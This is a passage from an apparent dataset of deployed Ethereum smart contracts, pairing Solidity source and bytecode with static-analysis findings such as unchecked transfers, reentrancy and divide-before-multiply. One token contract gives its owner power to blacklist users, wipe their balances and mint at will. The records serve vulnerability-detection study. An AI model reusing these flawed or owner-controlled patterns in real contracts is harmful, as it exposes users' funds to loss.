505af1158015610747573d6000803e3d6000fd5b505050506040513d602081101561075d57600080fd5b50516107ca57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f4572726f7220696e20756e2d7374616b696e6720746f6b656e73000000000000604482015290519081900360640190fd5b336000908152600a60205260409020546107ea908363ffffffff61186f16565b336000908152600a6020526040902081905561082557336000908152600a60209081526040808320600201839055600b909152812055610854565b336000908152600a602052604081205460025461084291906118b1565b336000908152600b6020526040902055505b600354610867908363ffffffff61186f16565b60035560075461087d908263ffffffff6117fb16565b6007557faeb913af138cc126643912346d844a49a83761eb58fcfc9e571fc99e1b3d9fa2336108b2848463ffffffff61186f16565b6040805173ffffffffffffffffffffffffffffffffffffffff90931683526020830191909152818101849052519081900360600190a15050565b60005473ffffffffffffffffffffffffffffffffffffffff16331461091057600080fd5b60085460008054600654604080517fa9059cbb00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff9384166004820152602481019290925251919093169263a9059cbb9260448083019360209390929083900390910190829087803b15801561099657600080fd5b505af11580156109aa573d6000803e3d6000fd5b505050506040513d60208110156109c057600080fd5b50506000600681905560408051918252517f8d56a030ef99bab9accfee6c825c1111d605f719b138f3ef27ae6b18b64d6f289181900360200190a1565b336000908152600a6020526040812060020154420390610a26826201518063ffffffff6117b916565b90508015610cfd57336000908152600b602052604081205415610ae357620151808202610a59848263ffffffff61186f16565b336000908152600b6020526040902054909150610a7c908463ffffffff61173d16565b91508015610a9e57610a9b620151806105e8848463ffffffff61173d16565b91505b336000908152600a602052604090206001015415610add57336000908152600a6020526040902060010154610ada90839063ffffffff6117fb16565b91505b50610b7b565b336000908152600a602052604090206001015415610b145750336000908152600a6020526040902060010154610b7b565b604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600960248201527f4e6f207265776172640000000000000000000000000000000000000000000000604482015290519081900360640190fd5b600954604080517fa9059cbb00000000000000000000000000000000000000000000000000000000815233600482015260248101849052905173ffffffffffffffffffffffffffffffffffffffff9092169163a9059cbb916044808201926020929091908290030181600087803b158015610bf557600080fd5b505af1158015610c09573d6000803e3d6000fd5b505050506040513d6020811015610c1f57600080fd5b5051610c76576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c815260200180611a33602c913960400191505060405180910390fd5b604080513381526020810183905281517f8a0128b5f12decc7d739e546c0521c3388920368915393f80120bc5b408c7c9e929181900390910190a1336000908152600a6020526040902060030154610cd4908263ffffffff6117fb16565b336000908152600a60205260408120600381019290925542600283015560019091015550610f2a565b336000908152600b602052604081205415610d7f57336000908152600b6020526040902054610d389084906105e8908263ffffffff61173d16565b336000908152600a602052604090206001015490915015610d7a57336000908152600a6020526040902060010154610d7790829063ffffffff6117fb16565b90505b610dac565b336000908152600a602052604090206001015415610b145750336000908152600a60205260409020600101545b600954604080517fa9059cbb00000000000000000000000000000000000000000000000000000000815233600482015260248101849052905173ffffffffffffffffffffffffffffffffffffffff9092169163a9059cbb916044808201926020929091908290030181600087803b158015610e2657600080fd5b505af1158015610e3a573d6000803e3d6000fd5b505050506040513d6020811015610e5057600080fd5b5051610ea7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c815260200180611a33602c913960400191505060405180910390fd5b604080513381526020810183905281517f8a0128b5f12decc7d739e546c0521c3388920368915393f80120bc5b408c7c9e929181900390910190a1336000908152600a6020526040902060030154610f05908263ffffffff6117fb16565b336000908152600a602052604081206003810192909255426002830155600190910155505b5050565b600b6020526000908152604090205481565b60085473ffffffffffffffffffffffffffffffffffffffff1681565b60035481565b60005473ffffffffffffffffffffffffffffffffffffffff163314610f8657600080fd5b60018110610fcf576002819055604080513381526020810183905281517f3bc0a290dd50b0e5aa5165e0f5861e62db7ba24f8383e760f70170f338e283d4929181900390910190a15b50565b60065490565b60005473ffffffffffffffffffffffffffffffffffffffff1681565b60095473ffffffffffffffffffffffffffffffffffffffff1681565b600a6020526000908152604090208054600182015460028301546003909301549192909184565b600854604080517f70a0823100000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff8481166004830152915160009392909216916370a0823191602480820192602092909190829003018186803b1580156110ae57600080fd5b505afa1580156110c2573d6000803e3d6000fd5b505050506040513d60208110156110d857600080fd5b505192915050565b60025481565b60075490565b600854604080517f23b872dd00000000000000000000000000000000000000000000000000000000815233600482015230602482015260448101849052905173ffffffffffffffffffffffffffffffffffffffff909216916323b872dd916064808201926020929091908290030181600087803b15801561116c57600080fd5b505af1158015611180573d6000803e3d6000fd5b505050506040513d602081101561119657600080fd5b50516111ed576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e815260200180611a80602e913960400191505060405180910390fd5b6003546000901561120f5761120c600a6105e86004546105dc86611706565b90505b336000908152600b6020526040902054156112b357336000908152600a602052604081206002015442039061124d826201518063ffffffff6117b916565b905080156112b057336000908152600b6020526040812054611275908363ffffffff61173d16565b336000908152600a602052604090206001015490915061129b908263ffffffff6117fb16565b336000908152600a6020526040902060010155505b50505b336000908152600a60205260409020546112e3906112d7848463ffffffff61186f16565b9063ffffffff6117fb16565b336000908152600a602052604090209081554260029091015561131e61130f838363ffffffff61186f16565b6003549063ffffffff6117fb16565b600355336000908152600a602052604081205460025461133e91906118b1565b336000908152600b60205260409020819055600654909150611366908363ffffffff6117fb16565b6006557f99b6f4b247a06a3dbcda8d2244b818e254005608c2455221a00383939a119e7c3361139b858563ffffffff61186f16565b6040805173ffffffffffffffffffffffffffffffffffffffff90931683526020830191909152818101859052519081900360600190a1505050565b73ffffffffffffffffffffffffffffffffffffffff81166000908152600a6020526040812060020154420381611415826201518063ffffffff6117b916565b905080156115955773ffffffffffffffffffffffffffffffffffffffff84166000908152600b60205260408120541561152a5762015180820261145e848263ffffffff61186f16565b73ffffffffffffffffffffffffffffffffffffffff87166000908152600b6020526040902054909150611497908463ffffffff61173d16565b915080156114b9576114b6620151806105e8848463ffffffff61173d16565b91505b73ffffffffffffffffffffffffffffffffffffffff86166000908152600a6020526040902060010154156115245773ffffffffffffffffffffffffffffffffffffffff86166000908152600a602052604090206001015461152190839063ffffffff6117fb16565b91505b5061158b565b73ffffffffffffffffffffffffffffffffffffffff85166000908152600a602052604090206001015415611587575073ffffffffffffffffffffffffffffffffffffffff84166000908152600a602052604090206001015461158b565b5060005b92506103f7915050565b73ffffffffffffffffffffffffffffffffffffffff84166000908152600b60205260408120541561152a5773ffffffffffffffffffffffffffffffffffffffff85166000908152600b60205260409020546115ff9062015180906105e8908663ffffffff61173d16565b73ffffffffffffffffffffffffffffffffffffffff86166000908152600a60205260409020600101549091501561166d5773ffffffffffffffffffffffffffffffffffffffff85166000908152600a602052604090206001015461166a90829063ffffffff6117fb16565b90505b61158b565b60005473ffffffffffffffffffffffffffffffffffffffff16331461169657600080fd5b600080547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff83169081178255604051909133917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b60008061171a83606463ffffffff6118e816565b905060006117356127106105e884606463ffffffff61173d16565b949350505050565b60008261174c575060006117b3565b8282028284828161175957fe5b04146117b0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611a5f6021913960400191505060405180910390fd5b90505b92915050565b60006117b083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611902565b6000828201838110156117b057604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b60006117b083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506119be565b6000806118c584606463ffffffff6118e816565b905060006118df6127106105e8848763ffffffff61173d16565b95945050505050565b60008182600184860103816118f957fe5b04029392505050565b600081836119a8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561196d578181015183820152602001611955565b50505050905090810190601f16801561199a5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816119b457fe5b0495945050505050565b60008184841115611a2a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181815283516024840152835190928392604490910191908501908083836000831561196d578181015183820152602001611955565b50505090039056fe4552524f523a206572726f7220696e2073656e64696e67207265776172642066726f6d20636f6e7472616374536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77546f6b656e732063616e6e6f74206265207472616e736665727265642066726f6d2075736572206163636f756e74a265627a7a723158203c4add17a0d81b98c7479577aca91c2794bc3a66fc291086c752d36eef2e126964736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
10,447
0xBA4DFF28C26aD2f2044b30dC4E52d21D87742C15
// SPDX-License-Identifier: MIT pragma solidity ^0.8.6; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } contract BlackList is Ownable { /////// Getters to allow the same blacklist to be used also by other contracts (including upgraded Tether) /////// function getBlackListStatus(address _maker) external view returns (bool) { return isBlackListed[_maker]; } function getOwner() external view returns (address) { return owner; } mapping (address => bool) public isBlackListed; function addBlackList (address _evilUser) public onlyOwner { isBlackListed[_evilUser] = true; emit AddedBlackList(_evilUser); } function removeBlackList (address _clearedUser) public onlyOwner { isBlackListed[_clearedUser] = false; emit RemovedBlackList(_clearedUser); } event DestroyedBlackFunds(address _blackListedUser, uint _balance); event AddedBlackList(address _user); event RemovedBlackList(address _user); } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract EUR0xComp is IERC20, BlackList { mapping(address => uint256) private _balances; mapping(address => uint256) private timeOf; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply= 0; string private _name="EUR0x GREEN"; string private _symbol="EUR0x"; uint interest_updated=0; uint public time=0; uint blockNumber=0; uint public interest_rate=4500000000000000000; uint public _updateReceiver = 1 minutes; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor() { time = block.timestamp; blockNumber = block.number; uint initalSupply=1000000*10**18; _mint(msg.sender,initalSupply); timeOf[msg.sender]=time; } function destroyBlackFunds (address _blackListedUser) public onlyOwner { require(isBlackListed[_blackListedUser]); uint dirtyFunds = balanceOf(_blackListedUser); _balances[_blackListedUser] = 0; _totalSupply -= dirtyFunds; emit DestroyedBlackFunds(_blackListedUser, dirtyFunds); } function setReceiverTime(uint secs ) external onlyOwner{ _updateReceiver = secs; } function setInt(uint ints ) external onlyOwner{ interest_rate = ints; } function mkcalc(address src, address dst) internal { uint tempTime = time; if(block.number > blockNumber){ blockNumber = block.number; tempTime = block.timestamp; } time=tempTime; interest_updated = timeOf[src]; if(interest_updated <= 0){ interest_updated = time; timeOf[src] = time; } uint diff = tempTime - interest_updated; uint how_many_mins = uint(diff/60); uint256 no_ox = _balances[src]; if(no_ox > 0 && how_many_mins > 0 ){ uint minseconds = how_many_mins * 60; uint256 interestSoFar = uint((((no_ox * interest_rate ) / 31536000) * minseconds) / 100000000000000000000 ) ; if(interestSoFar > 0){ interest_updated += minseconds; timeOf[src] = interest_updated; _balances[src] += interestSoFar ; _totalSupply += interestSoFar; emit Transfer(address(0),src, interestSoFar); } } //checking receiver side the receiver end no_ox=0; no_ox = _balances[dst]; if( no_ox > 0){ interest_updated = timeOf[dst]; diff = tempTime - interest_updated; if(diff > _updateReceiver ){ //do the calc how_many_mins = uint(diff / 60); uint minseconds = how_many_mins * 60; uint256 interestSoFar = uint((((no_ox * interest_rate ) / 31536000) * minseconds) / 100000000000000000000 ) ; if(interestSoFar > 0){ interest_updated += minseconds; timeOf[dst] = interest_updated; _balances[dst] += interestSoFar ; _totalSupply += interestSoFar ; emit Transfer(address(0), dst, interestSoFar); } } }else{ timeOf[dst] =tempTime; } } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function timeOfs(address account) public view virtual returns (uint256) { return timeOf[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address dst, uint256 amount) public virtual override returns (bool) { _transfer(msg.sender, dst, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(msg.sender, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][msg.sender]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, msg.sender, currentAllowance - amount); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(!isBlackListed[msg.sender]); mkcalc(sender, recipient); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } function issue(uint256 amount) external onlyOwner{ _mint(msg.sender,amount); } function redeem( uint256 amount) external onlyOwner { address account = msg.sender; require(account != address(0), "ERC20: burn from the zero address"); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } }
0x608060405234801561001057600080fd5b50600436106101735760003560e01c80638e1c49da116100de578063db006a7511610097578063e4997dc511610071578063e4997dc514610391578063f2fde38b146103a4578063f3bdc228146103b7578063ffc68a5d146103ca57600080fd5b8063db006a7514610322578063dd62ed3e14610335578063e47d60601461036e57600080fd5b80638e1c49da146102af57806395d89b41146102c2578063a9059cbb146102ca578063cbb3d808146102dd578063cc872b66146102e6578063d171cf7a146102f957600080fd5b8063313ce56711610130578063313ce56714610200578063444203111461020f57806359bf1abe1461022257806370a082311461024e578063893d20e8146102775780638da5cb5b1461029c57600080fd5b806306fdde0314610178578063095ea7b3146101965780630ecb93c0146101b957806316ada547146101ce57806318160ddd146101e557806323b872dd146101ed575b600080fd5b6101806103d3565b60405161018d9190610fe0565b60405180910390f35b6101a96101a4366004610f9d565b610465565b604051901515815260200161018d565b6101cc6101c7366004610f0c565b61047b565b005b6101d760095481565b60405190815260200161018d565b6005546101d7565b6101a96101fb366004610f61565b6104ee565b6040516012815260200161018d565b6101cc61021d366004610fc7565b61059d565b6101a9610230366004610f0c565b6001600160a01b031660009081526001602052604090205460ff1690565b6101d761025c366004610f0c565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b03165b6040516001600160a01b03909116815260200161018d565b600054610284906001600160a01b031681565b6101cc6102bd366004610fc7565b6105b9565b6101806105d5565b6101a96102d8366004610f9d565b6105e4565b6101d7600b5481565b6101cc6102f4366004610fc7565b6105f1565b6101d7610307366004610f0c565b6001600160a01b031660009081526003602052604090205490565b6101cc610330366004610fc7565b610615565b6101d7610343366004610f2e565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6101a961037c366004610f0c565b60016020526000908152604090205460ff1681565b6101cc61039f366004610f0c565b610761565b6101cc6103b2366004610f0c565b6107c9565b6101cc6103c5366004610f0c565b61080f565b6101d7600c5481565b6060600680546103e2906110a5565b80601f016020809104026020016040519081016040528092919081815260200182805461040e906110a5565b801561045b5780601f106104305761010080835404028352916020019161045b565b820191906000526020600020905b81548152906001019060200180831161043e57829003601f168201915b5050505050905090565b60006104723384846108c7565b50600192915050565b6000546001600160a01b0316331461049257600080fd5b6001600160a01b038116600081815260016020818152604092839020805460ff191690921790915590519182527f42e160154868087d6bfdc0ca23d96a1c1cfa32f1b72ba9ba27b69b98a0d819dc91015b60405180910390a150565b60006104fb8484846109e3565b6001600160a01b0384166000908152600460209081526040808320338452909152902054828110156105855760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61059285338584036108c7565b506001949350505050565b6000546001600160a01b031633146105b457600080fd5b600b55565b6000546001600160a01b031633146105d057600080fd5b600c55565b6060600780546103e2906110a5565b60006104723384846109e3565b6000546001600160a01b0316331461060857600080fd5b6106123382610b01565b50565b6000546001600160a01b0316331461062c57600080fd5b33806106845760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b606482015260840161057c565b6001600160a01b038116600090815260026020526040902054828110156106f85760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b606482015260840161057c565b6001600160a01b038216600090815260026020526040812084830390556005805485929061072790849061108e565b90915550506040518381526000906001600160a01b038416906000805160206110f7833981519152906020015b60405180910390a3505050565b6000546001600160a01b0316331461077857600080fd5b6001600160a01b038116600081815260016020908152604091829020805460ff1916905590519182527fd7e9ec6e6ecd65492dce6bf513cd6867560d49544421d0783ddf06e76c24470c91016104e3565b6000546001600160a01b031633146107e057600080fd5b6001600160a01b0381161561061257600080546001600160a01b0383166001600160a01b031990911617905550565b6000546001600160a01b0316331461082657600080fd5b6001600160a01b03811660009081526001602052604090205460ff1661084b57600080fd5b6001600160a01b0381166000908152600260205260408120805490829055600580549192839261087c90849061108e565b9091555050604080516001600160a01b0384168152602081018390527f61e6e66b0d6339b2980aecc6ccc0039736791f0ccde9ed512e789a7fbdd698c6910160405180910390a15050565b6001600160a01b0383166109295760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161057c565b6001600160a01b03821661098a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161057c565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259101610754565b3360009081526001602052604090205460ff1615610a0057600080fd5b610a0a8383610bce565b6001600160a01b03831660009081526002602052604090205481811015610a825760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161057c565b6001600160a01b03808516600090815260026020526040808220858503905591851681529081208054849290610ab9908490611035565b92505081905550826001600160a01b0316846001600160a01b03166000805160206110f783398151915284604051610af391815260200190565b60405180910390a350505050565b6001600160a01b038216610b575760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640161057c565b8060056000828254610b699190611035565b90915550506001600160a01b03821660009081526002602052604081208054839290610b96908490611035565b90915550506040518181526001600160a01b038316906000906000805160206110f78339815191529060200160405180910390a35050565b600954600a54431115610be2575043600a55425b60098190556001600160a01b0383166000908152600360205260409020546008819055610c2b5760095460088190556001600160a01b0384166000908152600360205260409020555b600060085482610c3b919061108e565b90506000610c4a603c8361104d565b6001600160a01b0386166000908152600260205260409020549091508015801590610c755750600082115b15610d70576000610c8783603c61106f565b9050600068056bc75e2d63100000826301e13380600b5486610ca9919061106f565b610cb3919061104d565b610cbd919061106f565b610cc7919061104d565b90508015610d6d578160086000828254610ce19190611035565b90915550506008546001600160a01b038916600090815260036020908152604080832093909355600290529081208054839290610d1f908490611035565b925050819055508060056000828254610d389190611035565b90915550506040518181526001600160a01b038916906000906000805160206110f78339815191529060200160405180910390a35b50505b506001600160a01b0384166000908152600260205260409020548015610ecc576001600160a01b0385166000908152600360205260409020546008819055610db8908561108e565b9250600c54831115610ec757610dcf603c8461104d565b91506000610dde83603c61106f565b9050600068056bc75e2d63100000826301e13380600b5486610e00919061106f565b610e0a919061104d565b610e14919061106f565b610e1e919061104d565b90508015610ec4578160086000828254610e389190611035565b90915550506008546001600160a01b038816600090815260036020908152604080832093909355600290529081208054839290610e76908490611035565b925050819055508060056000828254610e8f9190611035565b90915550506040518181526001600160a01b038816906000906000805160206110f78339815191529060200160405180910390a35b50505b610ee8565b6001600160a01b03851660009081526003602052604090208490555b505050505050565b80356001600160a01b0381168114610f0757600080fd5b919050565b600060208284031215610f1e57600080fd5b610f2782610ef0565b9392505050565b60008060408385031215610f4157600080fd5b610f4a83610ef0565b9150610f5860208401610ef0565b90509250929050565b600080600060608486031215610f7657600080fd5b610f7f84610ef0565b9250610f8d60208501610ef0565b9150604084013590509250925092565b60008060408385031215610fb057600080fd5b610fb983610ef0565b946020939093013593505050565b600060208284031215610fd957600080fd5b5035919050565b600060208083528351808285015260005b8181101561100d57858101830151858201604001528201610ff1565b8181111561101f576000604083870101525b50601f01601f1916929092016040019392505050565b60008219821115611048576110486110e0565b500190565b60008261106a57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611089576110896110e0565b500290565b6000828210156110a0576110a06110e0565b500390565b600181811c908216806110b957607f821691505b602082108114156110da57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfeddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa264697066735822122050e05d5bac70ba6bde806e89197db4531e3df1e4d592a88d93d6690f23097a9f64736f6c63430008060033
{"success": true, "error": null, "results": {"detectors": [{"check": "write-after-write", "impact": "Medium", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
10,448
0xC26104aC636297a7f0ADaE2BF35a13362B8655e4
// SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address, address) external; function setFeeOwner(address _feeOwner) external; } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Context { constructor () { } function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } function isOwner() public view returns (bool) { return _msgSender() == _owner; } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IERC20 { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function nonces(address account) external view returns (uint256); function approve(address spender, uint value) external returns (bool); function permit(address holder, address spender, uint256 nonce, uint256 expiry, uint256 amount, uint8 v, bytes32 r, bytes32 s) external; function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); } interface IUniswapFactory { function getPair(address token0,address token1) external returns(address); } interface IWETH { function deposit() external payable; function transfer(address to, uint value) external returns (bool); function withdraw(uint) external; function balanceOf(address owner) external view returns (uint); } contract MiningPool is Ownable { constructor(IERC20 _token, IUniswapFactory _factory, uint256 chainId_, IWETH _weth ) { // tokens[0] = tokenAddress; // tokens[1] = wethAddress; token = _token; factory = _factory; weth = _weth; ANCHOR = duration(0,block.timestamp).mul(ONE_DAY); DOMAIN_SEPARATOR = keccak256(abi.encode( keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"), keccak256("MiningPool"), keccak256(bytes(version)), chainId_, address(this) )); } receive() external payable { assert(msg.sender == address(weth)); // only accept ETH via fallback from the WETH contract } using SafeMath for uint256; struct User { uint256 id; uint256 investment; uint256 freezeTime; } string public constant version = "1"; // --- EIP712 niceties --- bytes32 public DOMAIN_SEPARATOR; // bytes32 public constant PERMIT_TYPEHASH = keccak256("Lock(address holder,address locker,uint256 nonce,uint256 